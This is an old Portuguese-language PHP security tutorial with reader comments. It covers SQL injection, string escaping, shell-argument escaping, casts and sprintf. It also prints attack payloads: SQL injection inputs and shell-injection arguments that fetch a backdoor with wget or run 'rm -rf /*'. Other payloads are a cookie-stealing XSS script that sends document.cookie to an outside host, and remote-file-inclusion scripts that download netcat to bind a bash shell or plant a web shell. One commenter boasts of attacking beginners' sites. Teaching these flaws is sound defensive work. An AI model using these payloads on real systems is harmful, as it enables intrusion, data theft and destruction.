+4

Tratamento de dados fornecidos pelo usuário: projetando sistemas com mais segurança - parte 1

criado por Allyson F. de Paula Reis em 18/03/2004 11:06am
O que pode ser feito ?

Antes de tudo gostaria de deixar bem claro que o limite é o ROOT. Como nota-se em vários textos sobre escalação de privilégios: quem define até onde você pode ir é seu conhecimento e malícia, no entanto para fins educativos mostrarei como comprometer um sistema vulnerável.


Tratando Dados

Um dos fundamentos primordiais da programação é o uso de forma correta dos seus tipos
básicos de dados. Em PHP eles são: literal, inteiro, boleano, ponto flutuante, ponto flutuante de precisão dupla e sem valor ou vazio (char, int, float, double e NULL, respectivamente). Existem outras variações, mas todos os outros tipos de dados em PHP
são baseados em um desses citados, tanto os tipos compostos (array e object) assim
como os tipos especiais (resource e NULL). Então para continuarmos com a nossa leitura
é necessário que você saiba pelo menos o básico a respeito de declaração de variaveis.

Se você está em dúvida e quer saber mais sobre esse assunto leia no site oficial:

- Tipos
http://br.php.net/manual/pt_BR/language.types.php

- Manipulação de tipos
http://br.php.net/manual/pt_BR/language.types.type-juggling.php


O que são códigos arbitrários

Os ataques que causam Buffer Overflow por exemplo tiram vantagem de um erro de projeto
específico e relativamente comum em softwares. Muitos programas relacionados a rede não testam corretamente o tamanho do buffer utilizado escrevendo dados na memória que estava, originalmente, reservada para outro fim (instruções ou códigos executáveis, por exemplo). Uma mensagem de estrutura aparentemente irregular bem construída pode colocar códigos arbitrários e maliciosos na memória e, com alguma *sorte, fazer com que a CPU os execute.

Explorar a superlotação de buffers requer um conhecimento detalhado da arquitetura da plataforma e do mapa de memória das aplicações, porém quando o assunto é injeção de códigos em PHP esbarramos em um problema sério: a facilidade da programação permite que pessoas despreparadas criem sistemas que utilizam SQL (Uma variação de código arbitrário é o SQL injection), que utilize dados passados pelo usuário para fazer uma chamada de sistema etc. Então como vocês podem ver, o tratamento de dados de forma mal feita possibilita uma infinidade de ataques e logo abaixo veremos alguns mais conhecidos.


O que é SQL injection

Como o próprio nome diz, SQL injection nos sugere uma injeção de código SQL. Usarei
alguns exemplos simples para ilustrar como devem ser feitos os tratamentos de dados e posteriormente continuarei com exemplos de ataques.

Imagine o seguinte trecho de script:

<?php
$sql = "DELETE FROM cadastros WHERE id_cadastro=" . $_GET['id'];
?>

Agora tire suas próprias conclusões. Suponha que o usuário acessasse a URL:

http://www.teste.com.br/script.php?id=1+OR+1;

<u>O que aconteceria?</u>

Se a tabela `cadastros` tiver permissão de escrita TODOS os cadastros ali contidos
seriam deletados. Como eu citei na frase anterior, é preciso que a tabela tenha
permissão de escrita - que por sua vez é definida nos seus respectivos bancos de dados,
seja seu BD MySQL, Postgree, MSQL, Oracle etc (Cada um com sua peculiaridade, mas
primitivamente funcionam da mesma forma).


Outro exemplo de query SQL:

<?php
$sql = "SELECT * FROM login WHERE usuario=".$_POST['usuario']." AND senha=".$_POST['senha'];
?>

Outro código sem erro de semântica, porém ele possui um grave erro - consequentemente o
sistema que utiliza esse sistema de login está esperando para ser "invadido".

Agora o que aconteceria se o usuário digitasse: | OR "1=1" | no login e senha?

Nota: O caracter Pipe "|" foi usado para delimitar o comando.

Então,

$_POST['usuario'] = NULL OR 1=1 (Usuário é falso ou verdadeiro -> saída sempre verdadeira)
$_POST['senha'] = NULL OR 1=1 (Senha é falsa ou verdadeira -> saída sempre verdadeira)

Agora que você já conhece alguns tipos "clássicos" de SQL injection vamos iniciar na parte
de tratamento de dados, mais especificamente no escapamento de strings.

Escapando strings

Como você já deve ter percebido, no MySQL e em Shell script por exemplo, existem caracteres especiais reservados, tais caracteres são usados em comandos variados como por exemplo aspa, aspas duplas, aspas cruzadas, barras e etc. Todo desenvolvedor deve(ria) tomar muito cuidado principalmente nesse item, pois como mostrados nos exemplos anteriores se houvesse um maior cuidado no escapamento de strings nos códigos SQL anteriores eles não estariam mais susceptíveis a ataques de injeção de código.

Logo a seguir veremos algumas formas de escapamento seguindo o manual manual do PHP e
posteriormente do manual do MySQL.


Escapando query strings MySQL em PHP

<?php
$item = "Zak's Laptop";
$escaped_item = mysql_escape_string($item);
printf ("String escapada: %s\n", $escaped_item);
?>

O exemplo acima deve produzir a seguinte saída: 

String escapada: Zak\'s Laptop

Em outras palavras, os caracteres \' são formatados de tal maneira que o MySQL saberia
interpretá-los como texto e não mais como query SQL. Porém esse código ainda não está 100%
"impermeável", ele ainda aceita pequenas injeções de código.

Vamos ver agora mais a fundo o que diz o manual do PHP:


mysql_escape_string (PHP 4 >= 4.0.3) -- Escapa uma string para uso com o mysql_query.

Descrição:

string mysql_escape_string ( string unescaped_string )

Esta função irá escapar o unescaped_string, assim será seguro colocá-la na função mysql_query().


Nota: mysql_escape_string() não escapa % e _.

Esta função é idêntica a mysql_real_escape_string() exceto que mysql_real_escape_string() precisa de um identificador de conexão e escapa a string de acordo com o conjunto atual de caracteres atual. mysql_escape_string() não precisa de um identificador de conexão e não respeita o conjunto atual de caracteres.

OBS: Logo abaixo (item 3.1.3.3) mostrarei que essa função não é totalmente "segura".



Escapando query strings MySQL em C

Para mostrar que escapamento de strings não é algo referênte somente a linguagens focadas principalmente para web como PHP, abaixo segue um exemplo de código em C com uso de escapamento de string.

//  **********************************************************************
//  Exemplo retirado do manual do MySQL e adaptado para esse artigo
//  Mais infos: http://www.mysql.com/doc/en/mysql_real_escape_string.html

#include <stdio.h>
#include <mysql/mysql.h>

#define HOST "localhost"
#define USER "root"
#define PASS "root"
#define DB "teste"

int main(void)
{
    // Declaracao de vars
    MYSQL conexao; 
    char query[1000],*end;

    // Inicio de conexao
    mysql_init(&conexao);

    if (mysql_real_connect(&conexao,HOST,USER,PASS,DB,0,NULL,0)) {

        printf("Conectado com Sucesso!\n");

        // strmov() - Está função está inclusa na biblioteca mysqlclient
        // e trabalha como strcpy() porém retorna um ponteiro to the terminating null 
        // of the first parameter. 

        end = strmov(query,"INSERT INTO test_table values( " );
        
        *end++ = '\'';
        
        end += mysql_real_escape_string(&mysql, end,"What's this",11);
        
        *end++ = '\'';
        *end++ = ',';
        *end++ = '\'';
        
        end += mysql_real_escape_string(&mysql, end,"binary data: \0\r\n",16);

        *end++ = '\'';
        *end++ = ')';

        if (mysql_real_query(&mysql,query,(unsigned int) (end - query))) {
            fprintf(stderr, "Falha ao inserir celula, Error: %s\n",
            mysql_error(&mysql));
        }
        
        mysql_close(&conexao);
   } else {
       printf("Conexao Falhou\n");
       if (mysql_errno(&conexao)) {
           printf("Erro %d : %s\n", mysql_errno(&conexao), mysql_error(&conexao));
       }
   }

   return 0;
} 

//  **************
//  Para compilar: gcc teste_mysql.c -o teste_mysql -lmysqlclient


Como vocês viram ambas as funções mysql_escape_string e mysql_real_escape_string escapam os caracteres especiais, a primeira função escapa-os levando em conta o atual conjunto de caracteres da conexão, já o segundo você pode especificá-los assim como o handle de sua conexão, em outras palavras, "assim é seguro coloca-la em mysql_query()" SEGUNDO os manuais do PHP e MySQL. Porém ambos frisam que eles não escapam os caracteres % e _, mas com isso por exemplo alguém mal intencionado poderia criar um robot para roubar todas as informações do seu banco de dados - Algo similar aconteceu com a catho, site de currículos na web.
Mas não me aprofundarei nesse assunto, por que seria necessário outro artigo somente sobre isso...



Coringas e meta caracteres

Coringas ou metacaracteres são recursos utilizados por muitos sistemas de busca como por exemplo o Google para permitir que o usuário monte expressões complexas de procura.
Mostrarei alguns exemplos abaixo do seu uso... Depois de terminada a leitura eu gostaria
de saber se é complicado roubar os dados de algum portal que não os protegem devidamente.

<u>Suponhamos:</u>

Temos o registro "Allyson Francisco de Paula Reis" em nossa coluna `nomes`

   mysql> SELECT * FROM nomes WHERE key_col LIKE %Allyson de Paula%;

Retornaria o registro citado anteriormente...

   mysql> SELECT * FROM nomes WHERE key_col LIKE %Allyson Paula%;

Não retornaria nada...

   mysql> SELECT * FROM nomes WHERE key_col LIKE %Allyson%Paula%;

Retornaria o registro do primeiro código


A combinação de padrões SQL lhe permite usar _ para coincidir qualquer caracter
simples e % para coincidir um número arbitrário de caracteres (incluindo zero caracter).

Para encontrar nomes começando com `b': 

mysql> SELECT * FROM pet WHERE name LIKE "b%";
+--------+--------+---------+------+------------+------------+
| name   | owner  | species | sex  | birth      | death      |

+--------+--------+---------+------+------------+------------+
| Buffy  | Harold | dog     | f    | 1989-05-13 | NULL       |
| Bowser | Diane  | dog     | m    | 1989-08-31 | 1995-07-29 |
+--------+--------+---------+------+------------+------------+

Para encontrar nomes com o final `fy': 

mysql> SELECT * FROM pet WHERE name LIKE "%fy";
+--------+--------+---------+------+------------+-------+
| name   | owner  | species | sex  | birth      | death |
+--------+--------+---------+------+------------+-------+
| Fluffy | Harold | cat     | f    | 1993-02-04 | NULL  |
| Buffy  | Harold | dog     | f    | 1989-05-13 | NULL  |
+--------+--------+---------+------+------------+-------+

Para encontrar nomes contendo um `w': 

mysql> SELECT * FROM pet WHERE name LIKE "%w%";
+----------+-------+---------+------+------------+------------+
| name     | owner | species | sex  | birth      | death      |
+----------+-------+---------+------+------------+------------+
| Claws    | Gwen  | cat     | m    | 1994-03-17 | NULL       |
| Bowser   | Diane | dog     | m    | 1989-08-31 | 1995-07-29 |
| Whistler | Gwen  | bird    | NULL | 1997-12-09 | NULL       |
+----------+-------+---------+------+------------+------------+

Para encontrar nomes contendo exatamente cinco caracteres, use cinco instâncias do caracter `_': 

mysql> SELECT * FROM pet WHERE name LIKE "_____";
+-------+--------+---------+------+------------+-------+
| name  | owner  | species | sex  | birth      | death |
+-------+--------+---------+------+------------+-------+
| Claws | Gwen   | cat     | m    | 1994-03-17 | NULL  |
| Buffy | Harold | dog     | f    | 1989-05-13 | NULL  |
+-------+--------+---------+------+------------+-------+

Então me digam meus senhores, sabendo o que vocês sabem sobre metacaracteres seria complicado fazer uma query sempre válida? Seria difícil fazer um shell script para baixar as paginações recursivamente de um site de busca usando o wget (software para download), ou lynx --dump (client em modo texto) que não se protege devidamente?

Enfim... Se não conhecem wget e lynx recomendo que pesquisem sobre os mesmos, pois o restante do texto precisa que vocês tenham pelo menos um minimo conhecimento sobre os mesmos.

Wget: http://www.gnu.org/software/wget/wget.html
lynx: http://lynx.browser.org/

OBS: Novamente gostaria de salientar que não vou aprofundar nesse assunto por que o artigo ficaria muito extenso.



Escapando argumentos em shell

Imagine a seguinte chamada de sistema

<?php
system("ls ".$dir);
?>

Por algum motivo o desenvolvedor precisa usar um ls ou um tar no seu servidor e, muitas vezes utilizam como argumentos dados enviados pelo usuário.

Observe agora o argumento abaixo passado pelo usuário:

1 - $dir = `wget -b http://www.servidor_sem_suporte_a_php/backdoor.php` ./
2 - $dir = `rm -rf /*` ./

Uma backdoor em PHP seria plantada dentro do seu sistema no primeiro caso, no segundo todos os arquivos que você tem acesso seriam removidos do servidor.

A função PHP escapeshellarg() adiciona aspas simples em torno de uma string e escapa qualquer as aspas simples existentes permitindo a você passar uma string diretamente para uma função shell e tendo ela tratada como um argumento seguro, ou seja, a aspas cruzadas nos dois exemplos anteriores se fossem escapados corretamente seriam interpretados como texto e não mais como metacaractere.

<?php
system('ls '.escapeshellarg($dir));
?>

Agora sim esse seria um exemplo de código seguro.


Escapando metacaracteres shell

Seguindo a mesma linha de raciocínio a sua função "irmã" escapeshellcmd() escapa qualquer caracter em uma string que possa ser utilizado para enganar um comando shell para executar comandos arbitrários. E é bastante recomendado o uso desta função para se ter certeza que quaisquer dados vindos do usuário é escapado antes que estes dados sejam passados para as funções exec(), system() ou passthru(), ou para um operador backtick. Alguns exemplos seguem abaixo:

<?php
$e = escapeshellcmd($userinput);
system("echo $e");
?>

Nesse exemplo a string $e está escapada e não aceita código arbitrários

<?php
$f = escapeshellcmd($filename);
system("touch \"/tmp/$f\"; ls -l \"/tmp/$f\"");
?>

Já nesse segundo exemplo além da string estar escapada tomamos o cuidado para $f não ter
espaços.


O que são casts

Como já vimos nos exemplos anteriores os códigos arbitrários podem nos causar uma grande dor de cabeça. Mas poucas pessoas conhecem os benditos casts e, é claro, consequentemente nem sabem como sua rotina de trabalho poderia ser facilitada com o seu uso. De grosso modo os casts são moldes de dados, ou seja, ele modela o tipo de dado que cada variável irá aceitar/conter.

Como o PHP não requer (ou suporta) a definição de tipo explicita na declaração de variáveis: o tipo de uma variável é determinado pelo contexto em que a variável é utilizada. Isto significa que, se você setar um valor string para a variável $var, $var se torna uma string. Se você então setar um valor inteiro para $var, ela se torna um inteiro.

Então devido a esse tipo de assimilação ou identificação automática de tipos de dados nas variáveis do PHP muitas vezes nos descuidamos e abrimos brechas para códigos os arbitrários.


Usando casts


Você pode forçar uma expressão a ser de um determinado tipo usando um cast. A forma genérica de um cast tanto em PHP como C é: 

   (tipo) expressão

Onde tipo é qualquer tipo de dados *válido em PHP/C. Vejam alguns exemplos em PHP abaixo:

<?php
                        // Saidas:
var_dump(25/7);         // float(3.5714285714286)
var_dump((int) (25/7)); // int(3)
var_dump(round(25/7));  // float(4) 
?>

*Os tipos de dados válidos nos casts ou nas "moldagens" são: 

  (int), (integer) - molde para inteiro

  (bool), (boolean) - molde para booleano

  (float), (double), (real) - molde para número de ponto flutuante

  (string) - molde para string

  (array) - molde para array

  (object) - molde para objeto

Basicamente quando vamos usar banco de dados escrevemos muitas funções utilizando ID`s de chaves primárias ou chaves estrangeiras como base da nossa função. Se vocês sabem que os ID`s dos banco de dados são inteiros e sequencialmente incrementados existe algum motivo para deixar uma string passar como argumento pelas nossas funções?

Se alguém passar uma string pela nossa função sem o uso de um tratamento de dados devido o banco e dados pode nos retornar erros ou ainda aceitar códigos arbitrários, como dito anteriormente. Se nos casos de SQL injection tivéssemos usado um molde do tipo inteiro na query " OR 1=1 " (dos exemplos anteriores) o valor de retorno do molde inteiro nesse código seria falso, ou seja, na nossa query ele seria interpretado como 0 (zero), veja um exemplo:

<?php
$_GET['id'] = (int) $_GET['id'];
$sql = "DELETE FROM cadastros WHERE id_cadastro=" . $_GET['id'];
?>


http://www.teste.com.br/script.php?id=1+OR+1;

Usando esse tipo de tratamento de dados, absolutamente nada aconteceria pois $_GET['id'] valeria 0 (zero) e usando a propriedade de `auto incremento` no seu banco de dados a numeração das células da sua tabela se iniciariam em 1 (um), diferentemente da numeração vetorial em C/PHP por exemplo.


A função sprintf

A função sprintf nada mas faz que retornar uma string formatada, em outras palavras, retorna uma string produzida de acordo com a string de formatação `format`:

Descrição - sprintf ( string format [, mixed args])

% - Um caracter porcento. Não é requerido nenhum argumento.
b - O argumento é tratado como um inteiro, e mostrado como um binário.
c - O argumento é tratado como um inteiro, e mostrado como o caracter ASCII correspondente.
d - O argumento é tratado como um inteiro, e mostrado como um número decimal com sinal.
u - O argumento é tratado como um inteiro, e mostrado como um número decimal sem sinal.
f - O argumento é tratado como um float, e mostrado como um número de ponto flutuante.
o - O argumento é tratado como um inteiro, e mostrado como um número octal.
s - O argumento é tratado e mostrado como uma string.
x - O argumento é tratado como um inteiro, e mostrado como um número hexadecimal (com as letras minúsculas). letters).
X - O argumento é tratado como um inteiro, e mostrado como um número hexadecimal (com as letras maiúsculas).


Exemplo de seu uso:

<?php
$_GET['id'] = sprinf("%d",$_GET['id']);
$sql = "DELETE FROM cadastros WHERE id_cadastro=" . $_GET['id'];
?>

Mas pra que complicar se um simples molde de inteiro resolveria a situação?

Simplesmente por que se nós moldássemos uma fração desconhecida para inteiro ela poderia
nos fornecer resultados inesperados as vezes. Veja o exemplo abaixo: 

<?php
echo (int) ( (0.1+0.7) * 10 ); // imprime 7!
?>

Moral da história: é mais aconselhável usar a função sprintf que os moldes clássicos.


Reflexão sobre aceitação de dados de forma incorreta

Saiba você que a sua paranóia em segurança por maior que seja não é e nem deve ser o seu limite para homologar um código como seguro, afinal de contas por mais inteligente e por mais conhecimento que você tenha uma aplicação escrita por você só será 100% segura pra você ou para alguém com o mesmo nível de conhecimento seu. Sempre que puder promova
pen-tests (testes de penetração) em seus códigos. Enfim... Mostre a outras pessoas o que
você está fazendo e por que está fazendo daquela forma - Pois como já dizia um ditado
da comunidade Open Source:

"Milhões de mentes abertas não podem estar erradas".


Denial of Service em sua página

"Vagando" pela web certa vez vi um Guest Book (Livros de Visita) daqueles típicos de
bloggers e sites pessoais que ficam religiosamente dentro de uma tabela numa coluna da esquerda da página. Com alguns testes percebi que ele aceitava códigos HTML em mensagens enviados pelos usuários. Agora me digam vocês o que aconteceria se algum usuário mal intencionado colocasse lá um frame oculto carregando a home do mesmo site? Exatamente, um loop infinito que por sua vez causaria um tráfego de dados gigante - que na verdade é o principio do DoS: "entupir" as filas de requerimentos de servidores a afim de negar vagas nessa fila para uma requisição real, um exemplo simples disso seria:

<iframe src="index.htm" height="0" width="0"></iframe>

Ou ainda se o servidor suportar PHP

<iframe src="algum_script_com_muito_processamento.php" height="0" width="0"></iframe>

E já engajando o próximo assunto (XSS), nesse mesmo caso se por acaso o site utilizasse algum sistema de login baseado em cookies algum usuário poderia sequestrar todos os cookies ali trafegados, vejam um exemplo abaixo:

<iframe name="frm" id="frm" height="0" width="0"></iframe>
<script>
document.getElementById('frm').src = 'http://host/sequestar.php?cookies=' + document.cookie;
</script>

Então o que antes parecia somente aceitar DoS também é susceptível a um tipo de ataque
de Cross Site Script, ou em outra palavras, teríamos um script atravessando seu site.


Cross site script

É pornograficamente importante restringirmos as informações que usamos pelos nossos códigos para os usuários finais, e atentarmos que as informações que são geradas por um lado PODE (e nossos códigos são originalmente projetados para isso) ser recebida por outro lado, mas esse último (no caso um script que processa alguma informação) pode ser enganado" por dados gerados pelo lado do usuário. Constantemente as funções include(), require() e fopen() são utilizadas por muitos programadores devido a flexibilidade que ele proporciona no desenvolvimento, mas a utilização destas funçÕes, assim como a configuração das variáves globais no servidor é fundamental para manter um nível de segurança aceitável.

Imagine agora o seguinte exemplo:

http://host.com.br/index.php?include=corpo.htm

Se nesse caso é permitido o uso de barras, e/ou é permitido include de arquivos remotos, e/ou não é verificada a extensão do arquivo passado por $_GET['include'] para a função include esse site certamente aceita atravessamentos.

Vejamos um exemplo de ataque:

http://host.com.br/index.php?include=meu_host/planta_netcat.php

Agora o código de planta_netcat.php

<?php
system("wget host_qualquer/nc");
system("./nc -l -p 5600 -e  /bin/bash");
?>

OBS: O netcat é um utilitário de networking em geral que lê e escreve dados usando o protocolo de TCP/IP. Ele foi projetado para ser uma ferramenta "back-end" de confiança que pode ser usada diretamente ou fácilmente ser dirigida por outros programas e certificados. Ao mesmo tempo, é uma poderosa ferramenta para debugação e exploração de redes, porque ela pode criar quase qualquer tipo da conexão que você necessitaria e tem diversas potencialidades interessantes já built-in. Atualmente ele fornece o acesso às seguintes características principais: Conexões outbound e inbound, TCP ou UDP, para ou de qualquer porta. Features de tunelamento UDP e TCP, com a possibilidade de especificar todos os parâmetros de rede (a porta fonte/interface e porta/interface de escuta, e o anfitrião remoto reservado para conectar ao túnel). Port-scanning built-in aleatório. Entre outras caracteristicas.

Mas no nosso exemplo do planta_netcat.php estamos bindando o bash e fazendo com que ele fique escutando na porta 5600, ou seja, teremos uma "shell" na porta 5600


Vejamos outro exemplo:

http://host.com.br/index.php?include=meu_host/planta_backdoor.php

Agora vejamos planta_backdoor.php

<?php
// Evitando extensão .php para prevenir que o wget
// não baixe a saída de ssh_cli.php, se isso ocorrer
// devido o host origem suportar php o ssh_cli é
// baixado no servidor de origem e não no servidor de destino

system("wget host_qualquer/ssh_cli");
system("mv ssh_cli ssh_cli.php");

?>

Agora o código do ssh_cli

<?php
echo '<pre>';
// Mostra todo o resultado do comando do shell "ls", e retorna
// a última linha da saída em $last_line. Guarda o valor de retorno
// do comando shell em $retval.
$last_line = system('ls', $retval);

// Mostrando informação adicional
echo '
</pre>
<hr>Última linha da saída: '.$last_line.'
<hr>Valor de Retorno: '.$retval;
?>

Pronto agora você já tem uma shell, ou seja, uma conta para explorar falhas locais.

Comentários:

Página seguinte »
Mostrando 1 - 10 de 12 comentários
Felipe Gomes disse:
Ae cara, muito bom mesmo seu artigo.. Me deu uma boa noção de onde podem vir as falhas de segurança e tal.

Estou aguardando pela parte 2 do arquivo..
22/05/2004 11:15pm (~20 anos atrás)

Alessandro Ramos dos Santos disse:
são essas coisinhas que a gente esquece e que no final acaba ferrando o sistema...
eu li esse seu texto numa lista e me ajudou bastante depois disso. valeu
24/04/2004 12:14am (~20 anos atrás)

Daniel Morada Esteves disse:
show de bola, sempre tem aquele cara q vai querer "testar" o seu sistema
14/04/2004 10:40pm (~20 anos atrás)

allan felipe disse:
Muito bom! Essas falhas são clássicas... o pessoal fica de olho nas perguntas dos fóruns para pegar os iniciantes.. ver o e-mail deles, empresa em que trabalha e quais foram os sistemas que a empresa do newba fez. Dai basta entrar no site e f* com tudo. huahauhauahuahauah O site da nasa foi hackeado através de um php deles... E tem mais, controle de login tb é importante! fazer validação do login em todos os phps do sistema!! Se não fizer validação o usuário acessa sem o login!! Sistemas de GED abertos para visitantes tb são muito vulneráveis.. mesmo sem permissão de upload. E o FTP? hahahahahahaha sem comentários....
13/04/2004 3:21pm (~20 anos atrás)

Weudes Silva Marquez disse:
Parabens pelo seu artigo. O artigo com certeza ajudará muita gente que está começando.
Vale!!!
05/04/2004 5:53pm (~20 anos atrás)

David Fante disse:
Acho que seria muito legal se vc colocasse exemplos da seguinte maneira:

Assim é o errado:
blablablablabalablablabla

Assim é o certo:
blablablablablablablablabla

Tipow eu vi q jah tem algo assim mais naum eh em todos os exemplos... ;)
Mas estah muito bom o artigo, alguma outra referencia em PT ?

David Fante
www.shz.com.br
01/04/2004 3:22pm (~20 anos atrás)

Allyson F. de Paula Reis disse:
Essa parte relacionada a configuração de servidor e exploração de falhas locais será apresentado na 2ª parte desse artigo (que eu espero publicar em breve)

[]`s

Ragen
27/03/2004 4:08am (~20 anos atrás)

Marcos Echevarria disse:
achei muito interessante, mas tu falo em configuração do servidor, como eu sei se o servidor tá bem configurado? eu fiz todos os testesinhos que tu apresento no scritp e tal, em relação a minha programação tá blz, mas e o servidor?
26/03/2004 3:11pm (~20 anos atrás)

Bruno Canongia disse:
Um outro método que acho últil é quando passo variáveis por POST pra outro script executar:

$var = addslashes(trim($_POST['var']));

Assim removo o espaçamento e escapo os caracteres... depois é só usar:

$var = stripslashes($row['var']);

Muito bom o seu artigo e muito doido o gif hehehehe []s
24/03/2004 9:39am (~20 anos atrás)

Allyson F. de Paula Reis disse:
Opa :)

Elogios são muito bem vindos...

Mas é claro que é sempre ouvir opinioes... Enfim, eu também gostaria de ouvir criticas a respeito desse artigo

[]`s

Ragen
21/03/2004 10:55pm (~20 anos atrás)

Novo Comentário:

(Você pode usar tags como <b>, <i> ou <code>. URLs serão convertidas para links automaticamente.)